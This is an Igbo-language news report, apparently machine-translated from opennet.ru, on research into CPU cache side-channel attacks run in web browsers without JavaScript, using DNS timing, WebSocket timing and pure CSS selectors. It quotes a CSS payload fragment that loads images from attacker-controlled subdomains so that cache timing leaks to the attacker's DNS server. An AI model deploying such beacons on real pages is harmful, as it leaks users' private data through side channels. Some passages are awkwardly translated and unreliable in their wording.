Mwakpo mwepu cache CPU etinyere na ihe nchọgharị weebụ na-enweghị Javascript

Otu ndị nyocha sitere na mahadum dị iche iche nke America, Israel na Australia ewepụtala ọgụ atọ na-agba na ihe nchọgharị weebụ iji wepụta ozi gbasara ọdịnaya nke cache processor. Otu ụzọ na-arụ ọrụ na ihe nchọgharị na-enweghị Javascript, na ụzọ abụọ nke ọzọ gafere ụzọ nchebe dị adị megide mwakpo ọwa n'akụkụ, gụnyere nke a na-eji na Tor nchọgharị na DeterFox. A na-ebipụta koodu maka igosipụta mbuso agha, yana ihe nkesa dị mkpa maka mwakpo ahụ, na GitHub.

Iji nyochaa ọdịnaya nke cache, ọgụ niile na-eji usoro Prime + Probe, nke gụnyere imeju cache na ụkpụrụ ụkpụrụ yana ịchọpụta mgbanwe site na ịlele oge ịnweta ha mgbe ị na-ejuputa ha. Iji gafere usoro nchekwa dị na ihe nchọgharị na-egbochi nha oge ziri ezi, na nhọrọ abụọ, a na-arịọ arịrịọ na sava DNS ma ọ bụ WebSocket nke onye mwakpo na-achịkwa, nke na-edobe ndekọ nke oge a na-arịọ arịrịọ. N'otu akụkụ, a na-eji oge nzaghachi DNS edoziri dị ka oge nrụtụ aka.

Ntụle emere site na iji sava DNS ma ọ bụ WebSocket, na-eji sistemụ nhazi ọkwa dabere na mmụta igwe, zuru oke iji buo amụma n'ụzọ ziri ezi ruru 98% n'ọnọdụ kachasị mma (nkezi 80-90%). A nwalere ụzọ ọgụ a na nyiwe ngwaike dị iche iche (Intel, AMD Ryzen, Apple M1, Samsung Exynos) wee gosipụta na ọ bụ ụwa niile.

Mwakpo mwepu cache CPU etinyere na ihe nchọgharị weebụ na-enweghị Javascript

Ụdị mbụ nke mwakpo ịsọ ọsọ DNS na-eji mmejuputa nke ọma nke usoro Prime+Probe site na iji arrays JavaScript. Ọdịiche dị iche iche na-agbadata n'iji ngụ oge dabere na DNS dị na mpụga yana onye na-ahụ maka mmejọ, nke a na-ebute mgbe esiri ike ibu ihe onyonyo sitere na ngalaba na-adịghị adị. Ngụ oge mpụga na-enye ohere maka mwakpo Prime+Probe na ihe nchọgharị na-amachi ma ọ bụ gbanyụọ ohere ịnweta ngụ oge Javascript kpamkpam.

Maka ihe nkesa DNS dị n'otu netwọkụ Ethernet, a na-eche na izi ezi nke ngụ oge dị ihe dịka 2 ms, nke zuru ezu iji mee mwakpo ọwa n'akụkụ (maka ntụnyere, izi ezi nke ọkọlọtọ Javascript ngụ oge na Tor Browser bụ. belata ruo 100 ms). Maka mwakpo ahụ, a chọghị ịchịkwa ihe nkesa DNS, ebe ọ bụ na ahọpụtara oge mmezu nke ọrụ ahụ ka oge nzaghachi sitere na DNS na-eje ozi dị ka ihe ịrịba ama nke mmecha mbụ nke nlele ahụ (dabere na ma ọ bụ onye na-ahụ maka ihe na-emejọ ihe kpatara ya. tupu ma ọ bụ mgbe e mesịrị, a na-enweta nkwubi okwu banyere ọsọ nke ọrụ nlele na cache) .

Usoro mbuso agha nke abụọ, "Ụdọ na Sock", bu n'obi ịgafe usoro nchekwa na-amachibido iji nhazi ọkwa dị ala na Javascript. Kama nhazi, String na Sock na-eji arụ ọrụ na nnukwu eriri, nke a na-ahọrọ nha ya ka mgbanwe ahụ kpuchie cache LLC dum (cache nke ikpeazụ). Na-esote, n'iji ọrụ indexOf (), a na-achọ obere eriri n'ime eriri ahụ, nke na-adịghị na mbụ na eriri isi, i.e. ọrụ ọchụchọ na-arụpụta na-emegharị n'ime eriri dum. Ebe nha ahịrị ahụ dabara nha cache LLC, nyocha na-enye gị ohere ịrụ ọrụ nlele cache na-ejighi usoro a. Iji tụọ igbu oge, kama DNS, a na-akpọ oku na sava WebSocket nke onye na-awakpo na-achịkwa - tupu na mgbe emechara ọrụ ọchụchọ ahụ, a na-eziga ajụjụ n'ahịrị, dabere na nkesa na-agbakọ oge igbu oge iji nyochaa cache. ọdịnaya.

A na-emejuputa ụdị nke atọ nke ọgụ “CSS PP0” site na HTML na CSS, ma nwee ike ịrụ ọrụ na ihe nchọgharị nwere JavaScript nwere nkwarụ. Usoro a yiri "string na Sock", mana ejikọtaghị ya na Javascript. N'oge mbuso agha a, a na-emepụta ihe nhọpụta nke CSS site na nkpuchi. A na-edozi eriri ukwu mbụ nke na-ejuputa cache site na ịmepụta mkpado div nwere aha klaasị buru ibu. N'ime e nwere ọtụtụ divs ndị ọzọ nwere njirimara nke ha. Nke ọ bụla n'ime divs akwụ a nwere ụdị nke ya nwere onye nhọpụta nke na-achọ eriri obere. Mgbe ị na-eme ibe, ihe nchọgharị ahụ na-agba mbọ hazie divs dị n'ime, nke na-ebute ọrụ ọchụchọ na nnukwu ahịrị. A na-eme ọchụchọ ahụ site na iji nkpuchi kpachara anya na-efu ma na-eduga n'ịtụgharị n'ahịrị ahụ dum, mgbe nke a gasịrị, ọnọdụ "abụghị" na-akpalite ma gbalịa ịkwanye ihe oyiyi ndabere na-ezo aka na ngalaba enweghị usoro: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Ihe nkesa DNS nke onye mwakpo ahụ na-enye subdomains, nke nwere ike tụọ igbu oge na ịnweta arịrịọ. Ihe nkesa DNS na-enye NXDOMAIN maka arịrịọ niile ma na-edobe ndekọ kpọmkwem oge arịrịọ. N'ihi nhazi otu divs, sava DNS nke onye mwakpo ahụ na-anata arịrịọ dị iche iche, igbu oge n'etiti ya na nsonaazụ nke ịlele ọdịnaya cache.

Mwakpo mwepu cache CPU etinyere na ihe nchọgharị weebụ na-enweghị Javascript


isi: opennet.ru

Tinye a comment